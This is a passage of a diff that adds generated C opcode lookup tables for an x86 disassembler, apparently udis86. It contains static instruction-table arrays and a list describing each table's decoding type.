24 */ 644, 645, 646, 647, + /* 28 */ 648, 649, 650, 651, + /* 2c */ 652, 653, 654, 655, + /* 30 */ INVALID, INVALID, INVALID, INVALID, + /* 34 */ INVALID, INVALID, INVALID, INVALID, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__434[] = { + /* 0 */ GROUP(435), GROUP(436), +}; + +static const uint16_t ud_itab__435[] = { + /* 0 */ 457, 521, 447, 449, + /* 4 */ 463, 465, 461, 459, +}; + +static const uint16_t ud_itab__436[] = { + /* 0 */ 223, 224, 225, 226, + /* 4 */ 227, 228, 229, 230, + /* 8 */ 512, 513, 514, 515, + /* c */ 516, 517, 518, 519, + /* 10 */ 367, 368, 369, 370, + /* 14 */ 371, 372, 373, 374, + /* 18 */ INVALID, 375, INVALID, INVALID, + /* 1c */ INVALID, INVALID, INVALID, INVALID, + /* 20 */ 631, 632, 633, 634, + /* 24 */ 635, 636, 637, 638, + /* 28 */ 605, 606, 607, 608, + /* 2c */ 609, 610, 611, 612, + /* 30 */ 422, 423, 424, 425, + /* 34 */ 426, 427, 428, 429, + /* 38 */ 396, 397, 398, 399, + /* 3c */ 400, 401, 402, 403, +}; + +static const uint16_t ud_itab__437[] = { + /* 0 */ GROUP(438), GROUP(439), +}; + +static const uint16_t ud_itab__438[] = { + /* 0 */ 451, 473, 466, 468, + /* 4 */ 231, 452, 232, 469, +}; + +static const uint16_t ud_itab__439[] = { + /* 0 */ 439, 440, 441, 442, + /* 4 */ 443, 444, 445, 446, + /* 8 */ 674, 675, 676, 677, + /* c */ 678, 679, 680, 681, + /* 10 */ 557, 558, 559, 560, + /* 14 */ 561, 562, 563, 564, + /* 18 */ 565, 566, 567, 568, + /* 1c */ 569, 570, 571, 572, + /* 20 */ 586, INVALID, INVALID, INVALID, + /* 24 */ INVALID, INVALID, INVALID, INVALID, + /* 28 */ 341, 342, 343, 344, + /* 2c */ 345, 346, 347, 348, + /* 30 */ 349, 350, 351, 352, + /* 34 */ 353, 354, 355, 356, + /* 38 */ INVALID, INVALID, INVALID, INVALID, + /* 3c */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__440[] = { + /* 0 */ 758, 759, 760, +}; + +static const uint16_t ud_itab__441[] = { + /* 0 */ 764, INVALID, +}; + +static const uint16_t ud_itab__442[] = { + /* 0 */ 1432, 1437, 962, 953, + /* 4 */ 942, 695, 186, 689, +}; + +static const uint16_t ud_itab__443[] = { + /* 0 */ 1438, 1439, 963, 954, + /* 4 */ 943, 696, 185, 688, +}; + +static const uint16_t ud_itab__444[] = { + /* 0 */ 708, 183, INVALID, INVALID, + /* 4 */ INVALID, INVALID, INVALID, INVALID, +}; + +static const uint16_t ud_itab__445[] = { + /* 0 */ 707, 184, GROUP(446), 71, + /* 4 */ 761, 762, 1255, INVALID, +}; + +static const uint16_t ud_itab__446[] = { + /* 0 */ 69, 70, +}; + + +struct ud_lookup_table_list_entry ud_lookup_table_list[] = { + /* 000 */ { ud_itab__0, UD_TAB__OPC_TABLE, "opctbl" }, + /* 001 */ { ud_itab__1, UD_TAB__OPC_MODE, "/m" }, + /* 002 */ { ud_itab__2, UD_TAB__OPC_MODE, "/m" }, + /* 003 */ { ud_itab__3, UD_TAB__OPC_MODE, "/m" }, + /* 004 */ { ud_itab__4, UD_TAB__OPC_TABLE, "opctbl" }, + /* 005 */ { ud_itab__5, UD_TAB__OPC_REG, "/reg" }, + /* 006 */ { ud_itab__6, UD_TAB__OPC_MOD, "/mod" }, + /* 007 */ { ud_itab__7, UD_TAB__OPC_REG, "/reg" }, + /* 008 */ { ud_itab__8, UD_TAB__OPC_REG, "/reg" }, + /* 009 */ { ud_itab__9, UD_TAB__OPC_RM, "/rm" }, + /* 010 */ { ud_itab__10, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 011 */ { ud_itab__11, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 012 */ { ud_itab__12, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 013 */ { ud_itab__13, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 014 */ { ud_itab__14, UD_TAB__OPC_RM, "/rm" }, + /* 015 */ { ud_itab__15, UD_TAB__OPC_RM, "/rm" }, + /* 016 */ { ud_itab__16, UD_TAB__OPC_RM, "/rm" }, + /* 017 */ { ud_itab__17, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 018 */ { ud_itab__18, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 019 */ { ud_itab__19, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 020 */ { ud_itab__20, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 021 */ { ud_itab__21, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 022 */ { ud_itab__22, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 023 */ { ud_itab__23, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 024 */ { ud_itab__24, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 025 */ { ud_itab__25, UD_TAB__OPC_RM, "/rm" }, + /* 026 */ { ud_itab__26, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 027 */ { ud_itab__27, UD_TAB__OPC_REG, "/reg" }, + /* 028 */ { ud_itab__28, UD_TAB__OPC_3DNOW, "/3dnow" }, + /* 029 */ { ud_itab__29, UD_TAB__OPC_SSE, "/sse" }, + /* 030 */ { ud_itab__30, UD_TAB__OPC_SSE, "/sse" }, + /* 031 */ { ud_itab__31, UD_TAB__OPC_MOD, "/mod" }, + /* 032 */ { ud_itab__32, UD_TAB__OPC_SSE, "/sse" }, + /* 033 */ { ud_itab__33, UD_TAB__OPC_SSE, "/sse" }, + /* 034 */ { ud_itab__34, UD_TAB__OPC_SSE, "/sse" }, + /* 035 */ { ud_itab__35, UD_TAB__OPC_SSE, "/sse" }, + /* 036 */ { ud_itab__36, UD_TAB__OPC_SSE, "/sse" }, + /* 037 */ { ud_itab__37, UD_TAB__OPC_MOD, "/mod" }, + /* 038 */ { ud_itab__38, UD_TAB__OPC_SSE, "/sse" }, + /* 039 */ { ud_itab__39, UD_TAB__OPC_SSE, "/sse" }, + /* 040 */ { ud_itab__40, UD_TAB__OPC_SSE, "/sse" }, + /* 041 */ { ud_itab__41, UD_TAB__OPC_REG, "/reg" }, + /* 042 */ { ud_itab__42, UD_TAB__OPC_SSE, "/sse" }, + /* 043 */ { ud_itab__43, UD_TAB__OPC_SSE, "/sse" }, + /* 044 */ { ud_itab__44, UD_TAB__OPC_SSE, "/sse" }, + /* 045 */ { ud_itab__45, UD_TAB__OPC_SSE, "/sse" }, + /* 046 */ { ud_itab__46, UD_TAB__OPC_SSE, "/sse" }, + /* 047 */ { ud_itab__47, UD_TAB__OPC_SSE, "/sse" }, + /* 048 */ { ud_itab__48, UD_TAB__OPC_SSE, "/sse" }, + /* 049 */ { ud_itab__49, UD_TAB__OPC_SSE, "/sse" }, + /* 050 */ { ud_itab__50, UD_TAB__OPC_MODE, "/m" }, + /* 051 */ { ud_itab__51, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 052 */ { ud_itab__52, UD_TAB__OPC_MODE, "/m" }, + /* 053 */ { ud_itab__53, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 054 */ { ud_itab__54, UD_TAB__OPC_TABLE, "opctbl" }, + /* 055 */ { ud_itab__55, UD_TAB__OPC_SSE, "/sse" }, + /* 056 */ { ud_itab__56, UD_TAB__OPC_MODE, "/m" }, + /* 057 */ { ud_itab__57, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 058 */ { ud_itab__58, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 059 */ { ud_itab__59, UD_TAB__OPC_SSE, "/sse" }, + /* 060 */ { ud_itab__60, UD_TAB__OPC_MODE, "/m" }, + /* 061 */ { ud_itab__61, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 062 */ { ud_itab__62, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 063 */ { ud_itab__63, UD_TAB__OPC_SSE, "/sse" }, + /* 064 */ { ud_itab__64, UD_TAB__OPC_SSE, "/sse" }, + /* 065 */ { ud_itab__65, UD_TAB__OPC_SSE, "/sse" }, + /* 066 */ { ud_itab__66, UD_TAB__OPC_SSE, "/sse" }, + /* 067 */ { ud_itab__67, UD_TAB__OPC_SSE, "/sse" }, + /* 068 */ { ud_itab__68, UD_TAB__OPC_SSE, "/sse" }, + /* 069 */ { ud_itab__69, UD_TAB__OPC_SSE, "/sse" }, + /* 070 */ { ud_itab__70, UD_TAB__OPC_SSE, "/sse" }, + /* 071 */ { ud_itab__71, UD_TAB__OPC_SSE, "/sse" }, + /* 072 */ { ud_itab__72, UD_TAB__OPC_SSE, "/sse" }, + /* 073 */ { ud_itab__73, UD_TAB__OPC_SSE, "/sse" }, + /* 074 */ { ud_itab__74, UD_TAB__OPC_SSE, "/sse" }, + /* 075 */ { ud_itab__75, UD_TAB__OPC_SSE, "/sse" }, + /* 076 */ { ud_itab__76, UD_TAB__OPC_SSE, "/sse" }, + /* 077 */ { ud_itab__77, UD_TAB__OPC_SSE, "/sse" }, + /* 078 */ { ud_itab__78, UD_TAB__OPC_SSE, "/sse" }, + /* 079 */ { ud_itab__79, UD_TAB__OPC_SSE, "/sse" }, + /* 080 */ { ud_itab__80, UD_TAB__OPC_SSE, "/sse" }, + /* 081 */ { ud_itab__81, UD_TAB__OPC_SSE, "/sse" }, + /* 082 */ { ud_itab__82, UD_TAB__OPC_SSE, "/sse" }, + /* 083 */ { ud_itab__83, UD_TAB__OPC_SSE, "/sse" }, + /* 084 */ { ud_itab__84, UD_TAB__OPC_SSE, "/sse" }, + /* 085 */ { ud_itab__85, UD_TAB__OPC_SSE, "/sse" }, + /* 086 */ { ud_itab__86, UD_TAB__OPC_SSE, "/sse" }, + /* 087 */ { ud_itab__87, UD_TAB__OPC_SSE, "/sse" }, + /* 088 */ { ud_itab__88, UD_TAB__OPC_SSE, "/sse" }, + /* 089 */ { ud_itab__89, UD_TAB__OPC_SSE, "/sse" }, + /* 090 */ { ud_itab__90, UD_TAB__OPC_SSE, "/sse" }, + /* 091 */ { ud_itab__91, UD_TAB__OPC_SSE, "/sse" }, + /* 092 */ { ud_itab__92, UD_TAB__OPC_SSE, "/sse" }, + /* 093 */ { ud_itab__93, UD_TAB__OPC_SSE, "/sse" }, + /* 094 */ { ud_itab__94, UD_TAB__OPC_SSE, "/sse" }, + /* 095 */ { ud_itab__95, UD_TAB__OPC_SSE, "/sse" }, + /* 096 */ { ud_itab__96, UD_TAB__OPC_SSE, "/sse" }, + /* 097 */ { ud_itab__97, UD_TAB__OPC_SSE, "/sse" }, + /* 098 */ { ud_itab__98, UD_TAB__OPC_SSE, "/sse" }, + /* 099 */ { ud_itab__99, UD_TAB__OPC_SSE, "/sse" }, + /* 100 */ { ud_itab__100, UD_TAB__OPC_SSE, "/sse" }, + /* 101 */ { ud_itab__101, UD_TAB__OPC_SSE, "/sse" }, + /* 102 */ { ud_itab__102, UD_TAB__OPC_SSE, "/sse" }, + /* 103 */ { ud_itab__103, UD_TAB__OPC_SSE, "/sse" }, + /* 104 */ { ud_itab__104, UD_TAB__OPC_SSE, "/sse" }, + /* 105 */ { ud_itab__105, UD_TAB__OPC_SSE, "/sse" }, + /* 106 */ { ud_itab__106, UD_TAB__OPC_SSE, "/sse" }, + /* 107 */ { ud_itab__107, UD_TAB__OPC_SSE, "/sse" }, + /* 108 */ { ud_itab__108, UD_TAB__OPC_SSE, "/sse" }, + /* 109 */ { ud_itab__109, UD_TAB__OPC_SSE, "/sse" }, + /* 110 */ { ud_itab__110, UD_TAB__OPC_SSE, "/sse" }, + /* 111 */ { ud_itab__111, UD_TAB__OPC_SSE, "/sse" }, + /* 112 */ { ud_itab__112, UD_TAB__OPC_SSE, "/sse" }, + /* 113 */ { ud_itab__113, UD_TAB__OPC_SSE, "/sse" }, + /* 114 */ { ud_itab__114, UD_TAB__OPC_SSE, "/sse" }, + /* 115 */ { ud_itab__115, UD_TAB__OPC_SSE, "/sse" }, + /* 116 */ { ud_itab__116, UD_TAB__OPC_TABLE, "opctbl" }, + /* 117 */ { ud_itab__117, UD_TAB__OPC_SSE, "/sse" }, + /* 118 */ { ud_itab__118, UD_TAB__OPC_SSE, "/sse" }, + /* 119 */ { ud_itab__119, UD_TAB__OPC_SSE, "/sse" }, + /* 120 */ { ud_itab__120, UD_TAB__OPC_SSE, "/sse" }, + /* 121 */ { ud_itab__121, UD_TAB__OPC_SSE, "/sse" }, + /* 122 */ { ud_itab__122, UD_TAB__OPC_SSE, "/sse" }, + /* 123 */ { ud_itab__123, UD_TAB__OPC_SSE, "/sse" }, + /* 124 */ { ud_itab__124, UD_TAB__OPC_SSE, "/sse" }, + /* 125 */ { ud_itab__125, UD_TAB__OPC_SSE, "/sse" }, + /* 126 */ { ud_itab__126, UD_TAB__OPC_SSE, "/sse" }, + /* 127 */ { ud_itab__127, UD_TAB__OPC_SSE, "/sse" }, + /* 128 */ { ud_itab__128, UD_TAB__OPC_OSIZE, "/o" }, + /* 129 */ { ud_itab__129, UD_TAB__OPC_SSE, "/sse" }, + /* 130 */ { ud_itab__130, UD_TAB__OPC_SSE, "/sse" }, + /* 131 */ { ud_itab__131, UD_TAB__OPC_SSE, "/sse" }, + /* 132 */ { ud_itab__132, UD_TAB__OPC_SSE, "/sse" }, + /* 133 */ { ud_itab__133, UD_TAB__OPC_OSIZE, "/o" }, + /* 134 */ { ud_itab__134, UD_TAB__OPC_SSE, "/sse" }, + /* 135 */ { ud_itab__135, UD_TAB__OPC_SSE, "/sse" }, + /* 136 */ { ud_itab__136, UD_TAB__OPC_SSE, "/sse" }, + /* 137 */ { ud_itab__137, UD_TAB__OPC_SSE, "/sse" }, + /* 138 */ { ud_itab__138, UD_TAB__OPC_SSE, "/sse" }, + /* 139 */ { ud_itab__139, UD_TAB__OPC_SSE, "/sse" }, + /* 140 */ { ud_itab__140, UD_TAB__OPC_SSE, "/sse" }, + /* 141 */ { ud_itab__141, UD_TAB__OPC_SSE, "/sse" }, + /* 142 */ { ud_itab__142, UD_TAB__OPC_SSE, "/sse" }, + /* 143 */ { ud_itab__143, UD_TAB__OPC_SSE, "/sse" }, + /* 144 */ { ud_itab__144, UD_TAB__OPC_SSE, "/sse" }, + /* 145 */ { ud_itab__145, UD_TAB__OPC_SSE, "/sse" }, + /* 146 */ { ud_itab__146, UD_TAB__OPC_SSE, "/sse" }, + /* 147 */ { ud_itab__147, UD_TAB__OPC_SSE, "/sse" }, + /* 148 */ { ud_itab__148, UD_TAB__OPC_SSE, "/sse" }, + /* 149 */ { ud_itab__149, UD_TAB__OPC_SSE, "/sse" }, + /* 150 */ { ud_itab__150, UD_TAB__OPC_SSE, "/sse" }, + /* 151 */ { ud_itab__151, UD_TAB__OPC_SSE, "/sse" }, + /* 152 */ { ud_itab__152, UD_TAB__OPC_SSE, "/sse" }, + /* 153 */ { ud_itab__153, UD_TAB__OPC_SSE, "/sse" }, + /* 154 */ { ud_itab__154, UD_TAB__OPC_SSE, "/sse" }, + /* 155 */ { ud_itab__155, UD_TAB__OPC_SSE, "/sse" }, + /* 156 */ { ud_itab__156, UD_TAB__OPC_SSE, "/sse" }, + /* 157 */ { ud_itab__157, UD_TAB__OPC_SSE, "/sse" }, + /* 158 */ { ud_itab__158, UD_TAB__OPC_SSE, "/sse" }, + /* 159 */ { ud_itab__159, UD_TAB__OPC_SSE, "/sse" }, + /* 160 */ { ud_itab__160, UD_TAB__OPC_SSE, "/sse" }, + /* 161 */ { ud_itab__161, UD_TAB__OPC_SSE, "/sse" }, + /* 162 */ { ud_itab__162, UD_TAB__OPC_SSE, "/sse" }, + /* 163 */ { ud_itab__163, UD_TAB__OPC_SSE, "/sse" }, + /* 164 */ { ud_itab__164, UD_TAB__OPC_SSE, "/sse" }, + /* 165 */ { ud_itab__165, UD_TAB__OPC_SSE, "/sse" }, + /* 166 */ { ud_itab__166, UD_TAB__OPC_SSE, "/sse" }, + /* 167 */ { ud_itab__167, UD_TAB__OPC_SSE, "/sse" }, + /* 168 */ { ud_itab__168, UD_TAB__OPC_SSE, "/sse" }, + /* 169 */ { ud_itab__169, UD_TAB__OPC_SSE, "/sse" }, + /* 170 */ { ud_itab__170, UD_TAB__OPC_SSE, "/sse" }, + /* 171 */ { ud_itab__171, UD_TAB__OPC_SSE, "/sse" }, + /* 172 */ { ud_itab__172, UD_TAB__OPC_SSE, "/sse" }, + /* 173 */ { ud_itab__173, UD_TAB__OPC_SSE, "/sse" }, + /* 174 */ { ud_itab__174, UD_TAB__OPC_OSIZE, "/o" }, + /* 175 */ { ud_itab__175, UD_TAB__OPC_OSIZE, "/o" }, + /* 176 */ { ud_itab__176, UD_TAB__OPC_SSE, "/sse" }, + /* 177 */ { ud_itab__177, UD_TAB__OPC_SSE, "/sse" }, + /* 178 */ { ud_itab__178, UD_TAB__OPC_REG, "/reg" }, + /* 179 */ { ud_itab__179, UD_TAB__OPC_SSE, "/sse" }, + /* 180 */ { ud_itab__180, UD_TAB__OPC_SSE, "/sse" }, + /* 181 */ { ud_itab__181, UD_TAB__OPC_SSE, "/sse" }, + /* 182 */ { ud_itab__182, UD_TAB__OPC_REG, "/reg" }, + /* 183 */ { ud_itab__183, UD_TAB__OPC_SSE, "/sse" }, + /* 184 */ { ud_itab__184, UD_TAB__OPC_SSE, "/sse" }, + /* 185 */ { ud_itab__185, UD_TAB__OPC_SSE, "/sse" }, + /* 186 */ { ud_itab__186, UD_TAB__OPC_REG, "/reg" }, + /* 187 */ { ud_itab__187, UD_TAB__OPC_SSE, "/sse" }, + /* 188 */ { ud_itab__188, UD_TAB__OPC_SSE, "/sse" }, + /* 189 */ { ud_itab__189, UD_TAB__OPC_SSE, "/sse" }, + /* 190 */ { ud_itab__190, UD_TAB__OPC_SSE, "/sse" }, + /* 191 */ { ud_itab__191, UD_TAB__OPC_SSE, "/sse" }, + /* 192 */ { ud_itab__192, UD_TAB__OPC_SSE, "/sse" }, + /* 193 */ { ud_itab__193, UD_TAB__OPC_SSE, "/sse" }, + /* 194 */ { ud_itab__194, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 195 */ { ud_itab__195, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 196 */ { ud_itab__196, UD_TAB__OPC_SSE, "/sse" }, + /* 197 */ { ud_itab__197, UD_TAB__OPC_SSE, "/sse" }, + /* 198 */ { ud_itab__198, UD_TAB__OPC_SSE, "/sse" }, + /* 199 */ { ud_itab__199, UD_TAB__OPC_OSIZE, "/o" }, + /* 200 */ { ud_itab__200, UD_TAB__OPC_OSIZE, "/o" }, + /* 201 */ { ud_itab__201, UD_TAB__OPC_SSE, "/sse" }, + /* 202 */ { ud_itab__202, UD_TAB__OPC_MOD, "/mod" }, + /* 203 */ { ud_itab__203, UD_TAB__OPC_REG, "/reg" }, + /* 204 */ { ud_itab__204, UD_TAB__OPC_RM, "/rm" }, + /* 205 */ { ud_itab__205, UD_TAB__OPC_RM, "/rm" }, + /* 206 */ { ud_itab__206, UD_TAB__OPC_RM, "/rm" }, + /* 207 */ { ud_itab__207, UD_TAB__OPC_MOD, "/mod" }, + /* 208 */ { ud_itab__208, UD_TAB__OPC_REG, "/reg" }, + /* 209 */ { ud_itab__209, UD_TAB__OPC_RM, "/rm" }, + /* 210 */ { ud_itab__210, UD_TAB__OPC_RM, "/rm" }, + /* 211 */ { ud_itab__211, UD_TAB__OPC_RM, "/rm" }, + /* 212 */ { ud_itab__212, UD_TAB__OPC_RM, "/rm" }, + /* 213 */ { ud_itab__213, UD_TAB__OPC_RM, "/rm" }, + /* 214 */ { ud_itab__214, UD_TAB__OPC_RM, "/rm" }, + /* 215 */ { ud_itab__215, UD_TAB__OPC_MOD, "/mod" }, + /* 216 */ { ud_itab__216, UD_TAB__OPC_REG, "/reg" }, + /* 217 */ { ud_itab__217, UD_TAB__OPC_REG, "/reg" }, + /* 218 */ { ud_itab__218, UD_TAB__OPC_RM, "/rm" }, + /* 219 */ { ud_itab__219, UD_TAB__OPC_RM, "/rm" }, + /* 220 */ { ud_itab__220, UD_TAB__OPC_RM, "/rm" }, + /* 221 */ { ud_itab__221, UD_TAB__OPC_SSE, "/sse" }, + /* 222 */ { ud_itab__222, UD_TAB__OPC_REG, "/reg" }, + /* 223 */ { ud_itab__223, UD_TAB__OPC_SSE, "/sse" }, + /* 224 */ { ud_itab__224, UD_TAB__OPC_SSE, "/sse" }, + /* 225 */ { ud_itab__225, UD_TAB__OPC_SSE, "/sse" }, + /* 226 */ { ud_itab__226, UD_TAB__OPC_SSE, "/sse" }, + /* 227 */ { ud_itab__227, UD_TAB__OPC_MOD, "/mod" }, + /* 228 */ { ud_itab__228, UD_TAB__OPC_REG, "/reg" }, + /* 229 */ { ud_itab__229, UD_TAB__OPC_OSIZE, "/o" }, + /* 230 */ { ud_itab__230, UD_TAB__OPC_SSE, "/sse" }, + /* 231 */ { ud_itab__231, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 232 */ { ud_itab__232, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 233 */ { ud_itab__233, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 234 */ { ud_itab__234, UD_TAB__OPC_VENDOR, "/vendor" }, + /* 235 */ { ud_itab__235, UD_TAB__OPC_REG, "/reg" }, + /* 236 */ { ud_itab__236, UD_TAB__OPC_SSE, "/sse" }, + /* 237 */ { ud_itab__237, UD_TAB__OPC_SSE, "/sse" }, + /* 238 */ { ud_itab__238, UD_TAB__OPC_SSE, "/sse" }, + /* 239 */ { ud_itab__239, UD_TAB__OPC_SSE, "/sse" }, + /* 240 */ { ud_itab__240, UD_TAB__OPC_SSE, "/sse" }, + /* 241 */ { ud_itab__241, UD_TAB__OPC_SSE, "/sse" }, + /* 242 */ { ud_itab__242, UD_TAB__OPC_SSE, "/sse" }, + /* 243 */ { ud_itab__243, UD_TAB__OPC_SSE, "/sse" }, + /* 244 */ { ud_itab__244, UD_TAB__OPC_SSE, "/sse" }, + /* 245 */ { ud_itab__245, UD_TAB__OPC_SSE, "/sse" }, + /* 246 */ { ud_itab__246, UD_TAB__OPC_SSE, "/sse" }, + /* 247 */ { ud_itab__247, UD_TAB__OPC_SSE, "/sse" }, + /* 248 */ { ud_itab__248, UD_TAB__OPC_SSE, "/sse" }, + /* 249 */ { ud_itab__249, UD_TAB__OPC_SSE, "/sse" }, + /* 250 */ { ud_itab__250, UD_TAB__OPC_SSE, "/sse" }, + /* 251 */ { ud_itab__251, UD_TAB__OPC_SSE, "/sse" }, + /* 252 */ { ud_itab__252, UD_TAB__OPC_SSE, "/sse" }, + /* 253 */ { ud_itab__253, UD_TAB__OPC_SSE, "/sse" }, + /* 254 */ { ud_itab__254, UD_TAB__OPC_SSE, "/sse" }, + /* 255 */ { ud_itab__255, UD_TAB__OPC_SSE, "/sse" }, + /* 256 */ { ud_itab__256, UD_TAB__OPC_SSE, "/sse" }, + /* 257 */ { ud_itab__257, UD_TAB__OPC_SSE, "/sse" }, + /* 258 */ { ud_itab__258, UD_TAB__OPC_SSE, "/sse" }, + /* 259 */ { ud_itab__259, UD_TAB__OPC_SSE, "/sse" }, + /* 260 */ { ud_itab__260, UD_TAB__OPC_SSE, "/sse" }, + /* 261 */ { ud_itab__261, UD_TAB__OPC_SSE, "/sse" }, + /* 262 */ { ud_itab__262, UD_TAB__OPC_SSE, "/sse" }, + /* 263 */ { ud_itab__263, UD_TAB__OPC_SSE, "/sse" }, + /* 264 */ { ud_itab__264, UD_TAB__OPC_SSE, "/sse" }, + /* 265 */ { ud_itab__265, UD_TAB__OPC_SSE, "/sse" }, + /* 266 */ { ud_itab__266, UD_TAB__OPC_SSE, "/sse" }, + /* 267 */ { ud_itab__267, UD_TAB__OPC_SSE, "/sse" }, + /* 268 */ { ud_itab__268, UD_TAB__OPC_SSE, "/sse" }, + /* 269 */ { ud_itab__269, UD_TAB__OPC_SSE, "/sse" }, + /* 270 */ { ud_itab__270, UD_TAB__OPC_SSE, "/sse" }, + /* 271 */ { ud_itab__271, UD_TAB__OPC_SSE, "/sse" }, + /* 272 */ { ud_itab__272, UD_TAB__OPC_SSE, "/sse" }, + /* 273 */ { ud_itab__273, UD_TAB__OPC_SSE, "/sse" }, + /* 274 */ { ud_itab__274, UD_TAB__OPC_SSE, "/sse" }, + /* 275 */ { ud_itab__275, UD_TAB__OPC_MOD, "/mod" }, + /* 276 */ { ud_itab__276, UD_TAB__OPC_SSE, "/sse" }, + /* 277 */ { ud_itab__277, UD_TAB__OPC_SSE, "/sse" }, + /* 278 */ { ud_itab__278, UD_TAB__OPC_SSE, "/sse" }, + /* 279 */ { ud_itab__279, UD_TAB__OPC_SSE, "/sse" }, + /* 280 */ { ud_itab__280, UD_TAB__OPC_SSE, "/sse" }, + /* 281 */ { ud_itab__281, UD_TAB__OPC_SSE, "/sse" }, + /* 282 */ { ud_itab__282, UD_TAB__OPC_SSE, "/sse" }, + /* 283 */ { ud_itab__283, UD_TAB__OPC_SSE, "/sse" }, + /* 284 */ { ud_itab__284, UD_TAB__OPC_MODE, "/m" }, + /* 285 */ { ud_itab__285, UD_TAB__OPC_MODE, "/m" }, + /* 286 */ { ud_itab__286, UD_TAB__OPC_MODE, "/m" }, + /* 287 */ { ud_itab__287, UD_TAB__OPC_MODE, "/m" }, + /* 288 */ { ud_itab__288, UD_TAB__OPC_MODE, "/m" }, + /* 289 */ { ud_itab__289, UD_TAB__OPC_MODE, "/m" }, + /* 290 */ { ud_itab__290, UD_TAB__OPC_MODE, "/m" }, + /* 291 */ { ud_itab__291, UD_TAB__OPC_MODE, "/m" }, + /* 292 */ { ud_itab__292, UD_TAB__OPC_OSIZE, "/o" }, + /* 293 */ { ud_itab__293, UD_TAB__OPC_MODE, "/m" }, + /* 294 */ { ud_itab__294, UD_TAB__OPC_MODE, "/m" }, + /* 295 */ { ud_itab__295, UD_TAB__OPC_OSIZE, "/o" }, + /* 296 */ { ud_itab__296, UD_TAB__OPC_MODE, "/m" }, + /* 297 */ { ud_itab__297, UD_TAB__OPC_MODE, "/m" }, + /* 298 */ { ud_itab__298, UD_TAB__OPC_MODE, "/m" }, + /* 299 */ { ud_itab__299, UD_TAB__OPC_MODE, "/m" }, + /* 300 */ { ud_itab__300, UD_TAB__OPC_OSIZE, "/o" }, + /* 301 */ { ud_itab__301, UD_TAB__OPC_OSIZE, "/o" }, + /* 302 */ { ud_itab__302, UD_TAB__OPC_REG, "/reg" }, + /* 303 */ { ud_itab__303, UD_TAB__OPC_REG, "/reg" }, + /* 304 */ { ud_itab__304, UD_TAB__OPC_REG, "/reg" }, + /* 305 */ { ud_itab__305, UD_TAB__OPC_MODE, "/m" }, + /* 306 */ { ud_itab__306, UD_TAB__OPC_MODE, "/m" }, + /* 307 */ { ud_itab__307, UD_TAB__OPC_MODE, "/m" }, + /* 308 */ { ud_itab__308, UD_TAB__OPC_MODE, "/m" }, + /* 309 */ { ud_itab__309, UD_TAB__OPC_MODE, "/m" }, + /* 310 */ { ud_itab__310, UD_TAB__OPC_MODE, "/m" }, + /* 311 */ { ud_itab__311, UD_TAB__OPC_MODE, "/m" }, + /* 312 */ { ud_itab__312, UD_TAB__OPC_MODE, "/m" }, + /* 313 */ { ud_itab__313, UD_TAB__OPC_REG, "/reg" }, + /* 314 */ { ud_itab__314, UD_TAB__OPC_REG, "/reg" }, + /* 315 */ { ud_itab__315, UD_TAB__OPC_OSIZE, "/o" }, + /* 316 */ { ud_itab__316, UD_TAB__OPC_OSIZE, "/o" }, + /* 317 */ { ud_itab__317, UD_TAB__OPC_MODE, "/m" }, + /* 318 */ { ud_itab__318, UD_TAB__OPC_OSIZE, "/o" }, + /* 319 */ { ud_itab__319, UD_TAB__OPC_MODE, "/m" }, + /* 320 */ { ud_itab__320, UD_TAB__OPC_MODE, "/m" }, + /* 321 */ { ud_itab__321, UD_TAB__OPC_MODE, "/m" }, + /* 322 */ { ud_itab__322, UD_TAB__OPC_OSIZE, "/o" }, + /* 323 */ { ud_itab__323, UD_TAB__OPC_MODE, "/m" }, + /* 324 */ { ud_itab__324, UD_TAB__OPC_MODE, "/m" }, + /* 325 */ { ud_itab__325, UD_TAB__OPC_MODE, "/m" }, + /* 326 */ { ud_itab__326, UD_TAB__OPC_OSIZE, "/o" }, + /* 327 */ { ud_itab__327, UD_TAB__OPC_OSIZE, "/o" }, + /* 328 */ { ud_itab__328, UD_TAB__OPC_OSIZE, "/o" }, + /* 329 */ { ud_itab__329, UD_TAB__OPC_OSIZE, "/o" }, + /* 330 */ { ud_itab__330, UD_TAB__OPC_OSIZE, "/o" }, + /* 331 */ { ud_itab__331, UD_TAB__OPC_REG, "/reg" }, + /* 332 */ { ud_itab__332, UD_TAB__OPC_REG, "/reg" }, + /* 333 */ { ud_itab__333, UD_TAB__OPC_VEX, "/vex" }, + /* 334 */ { ud_itab__334, UD_TAB__OPC_MODE, "/m" }, + /* 335 */ { ud_itab__335, UD_TAB__OPC_TABLE, "opctbl" }, + /* 336 */ { ud_itab__336, UD_TAB__OPC_MOD, "/mod" }, + /* 337 */ { ud_itab__337, UD_TAB__OPC_MOD, "/mod" }, + /* 338 */ { ud_itab__338, UD_TAB__OPC_MOD, "/mod" }, + /* 339 */ { ud_itab__339, UD_TAB__OPC_REG, "/reg" }, + /* 340 */ { ud_itab__340, UD_TAB__OPC_VEX_L, "/vexl" }, + /* 341 */ { ud_itab__341, UD_TAB__OPC_TABLE, "opctbl" }, + /* 342 */ { ud_itab__342, UD_TAB__OPC_MOD, "/mod" }, + /* 343 */ { ud_itab__343, UD_TAB__OPC_MOD, "/mod" }, + /* 344 */ { 